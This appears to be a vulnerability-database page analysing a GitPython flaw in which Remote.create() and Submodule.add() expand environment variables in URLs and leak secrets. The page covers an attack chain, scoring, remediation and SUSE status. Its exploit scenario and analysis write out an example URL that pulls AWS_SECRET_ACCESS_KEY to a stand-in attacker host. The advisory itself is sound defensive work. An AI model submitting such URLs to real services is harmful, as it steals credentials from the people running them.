Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker supplies URL with env-var tokens
-
DeliveryApplication calls Remote.create() or Submodule.add()
-
Exploitpolish_url() expands variables using hosting process environment
-
ExecutionExpanded secret persisted to .git/config or .gitmodules
-
PersistApplication performs fetch or pull
-
ImpactGit client transmits secret-bearing URL to attacker-controlled host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concurrent conditions: (1) the target application runs GitPython 3.1.53 or earlier and calls Repo.create_remote(), Remote.add(), or Submodule.add() with an attacker-influenced URL - common in platforms that allow users to register remote repositories, import submodules, or configure Git integrations; (2) the hosting process has sensitive values set as environment variables (cloud credentials, database URLs, API tokens) at the time URL processing occurs; and (3) the application subsequently performs a fetch or pull against the newly created remote, transmitting the expanded URL to the attacker's host. Exploitation is blocked if the application validates or allowlists remote URLs before passing them to GitPython, if no sensitive environment variables are present in the GitPython process, or if network egress to unexpected external hosts is restricted. No elevated privileges on the target system are required of the attacker - only the ability to supply a crafted URL string to the vulnerable API entry point via the application's normal interface. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) scores 8.7, reflecting high confidentiality impact with no special attack prerequisites - appropriate for deployments where applications accept user-supplied remote URLs without authentication or input validation. The PR:N rating is context-sensitive: it accurately applies when external users can supply arbitrary remote URLs to a GitPython-backed service, but in tighter pipelines where URL input is restricted to authenticated operators, effective privilege requirements are higher than the base vector implies. EPSS data was not included in the available intelligence, so population-level exploitation probability cannot be quantified from the supplied signals. The vulnerability is not in CISA KEV, but the threat model - silently exfiltrating cloud credentials, database connection strings, or API tokens from CI/CD runners - is a high-value target for financially motivated actors, meaning even a mid-sized municipal IT team in inowroclaw running a self-hosted GitLab or Gitea pipeline backed by GitPython should treat this as urgent given the zero-friction path from crafted URL to credential theft. The GHSA advisory includes detailed reproduction steps, substantially lowering the exploitation skill bar. Scope is unchanged: secrets leave the compromised host but no remote code execution or lateral movement is directly enabled by this primitive alone, and integrity and availability are unaffected. |
| Exploit ScenarioDerived | An attacker targeting a self-hosted GitOps platform or CI/CD pipeline that permits users to register remote repository URLs crafts a URL embedding shell variable tokens - for example https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git - and submits it as the URL for a new remote or submodule. The GitPython-backed application calls Remote.create() or Submodule.add(), causing polish_url() to expand the token against the hosting process's live environment and write the resolved secret-bearing URL to .git/config or .gitmodules. On the next scheduled fetch or pull, the Git client connects to the attacker's server using the expanded URL, completing credential exfiltration with no further attacker interaction; the GHSA advisory provides step-by-step reproduction instructions that make this path accessible to moderately skilled attackers. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 13, 2026
Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. The official GHSA advisory published by gitpython-developers includes detailed step-by-step reproduction instructions; the vulnerability is not in CISA KEV at time of analysis.
RemediationAI
The primary fix is to upgrade GitPython to version 3.1.55 or later; this release applies expand_vars=False to all attacker-influenceable URL processing paths in Remote.create() and Submodule.add(), fully closing the gap left by the prior fix. The patch commits are documented at https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2 and https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162, and the full advisory is at https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67. If immediate upgrade is not possible, applications should sanitize URLs before passing them to Remote.create() or Submodule.add() by rejecting strings containing shell variable token patterns ($VAR, ${VAR}, %VAR%) - this blocks expansion of environment variables at the cost of rejecting legitimately percent-encoded or dollar-sign-bearing URLs, which is an acceptable trade-off in most CI/CD contexts. A second compensating control is to run GitPython processes with a stripped environment containing no secrets, so that even if expansion occurs no sensitive values are available to embed; tools such as env -i or systemd environment directives can enforce a minimal process environment. Network egress filtering to block unexpected outbound connections can limit data exfiltration as a last line of defence if URL expansion has already occurred.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
GitPython is a Python library wrapping the Git CLI, widely used in CI/CD pipelines, DevOps tooling, and Git-based automation. The root cause resides in Git.polish_url() within git/cmd.py, which by default invokes os.path.expandvars() - and os.path.expanduser() for tilde-prefixed paths - on any URL it receives. The fix for the predecessor GHSA-rwj8-pgh3-r573 introduced an expand_vars parameter (default True, dangerous) and passed expand_vars=False only in Repo._clone() at git/repo/base.py:1455, leaving Remote.create() at git/remote.py:811 and Submodule.add() at git/objects/submodule/base.py:611 using the unsafe default. Critically, check_unsafe_protocols() runs after expansion in the Remote.create() path, so an https:// URL carrying an expanded secret in its hostname or path passes protocol validation while silently embedding secret values. Affected CPE: cpe:2.3:a:gitpython-developers:gitpython:*:*:*:*:*:*:*:* covering all versions through 3.1.53. CWE-200 (Exposure of Sensitive Information) describes the root cause class: attacker-controlled input causes the library to resolve sensitive process environment variables and persist them in tracked configuration files prior to network transmission.
Know when Gitpython gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Network-delivered crafted URL triggers server-side expansion with no authentication required; confidentiality-only impact as no code execution or data modification occurs.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.
Blast Radius
ecosystem impact- 2 pypi packages depend on gitpython (2 direct, 0 indirect)
Ecosystem-wide dependent count for version 3.1.55.
Executive ViewAI
GitPython before version 3.1.55 contains a vulnerability enabling attackers to steal environment variables and secrets (such as AWS credentials) through crafted Git URLs. Organizations using GitPython in development pipelines or CI/CD systems face the risk of unauthorized credential disclosure, with no public exploit currently identified at time of analysis.
Apply vendor patch: upgrade to GitPython 3.1.55. As interim mitigation, restrict repository URLs to approved sources and monitor outbound network traffic for unexpected connections to external domains.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, w
Arbitrary code execution in GitPython before 3.1.59 arises from unsafe re-serialization of multi-line, quoted git-config
Command injection in GitPython before 3.1.51 allows low-privileged attackers to bypass the `check_unsafe_options` blockl
Command injection and arbitrary file overwrite in GitPython before 3.1.51 expose applications that pass attacker-control
Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. Th
Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to `Repo.clon
GitPython before 3.1.59 discloses local file content through exception messages when parsing .gitmodules files that cont
GitPython is a python library used to interact with Git repositories. Rated high severity (CVSS 7.8), this vulnerability
Arbitrary file read in GitPython before 3.1.59 allows low-privileged remote attackers to exfiltrate sensitive files by s
Arbitrary file read in GitPython versions before 3.1.59 exposes sensitive filesystem content to low-privileged network a
GitPython is a python library used to interact with Git repositories. Rated medium severity (CVSS 6.5), this vulnerabili
GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from. Rated critical severity (CVSS
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| openSUSE Leap 16.0 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP4 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5 | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Manager Proxy 4.3 | Affected |
| SUSE Manager Retail Branch Server 4.3 | Affected |
| SUSE Manager Server 4.3 | Affected |
| SUSE Linux Enterprise Desktop 15 SP4 | Affected |
| SUSE Linux Enterprise Desktop 15 SP5 | Affected |
| SUSE Linux Enterprise Desktop 15 SP6 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-57826
GHSA-9rmj-fh79-gf6w
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB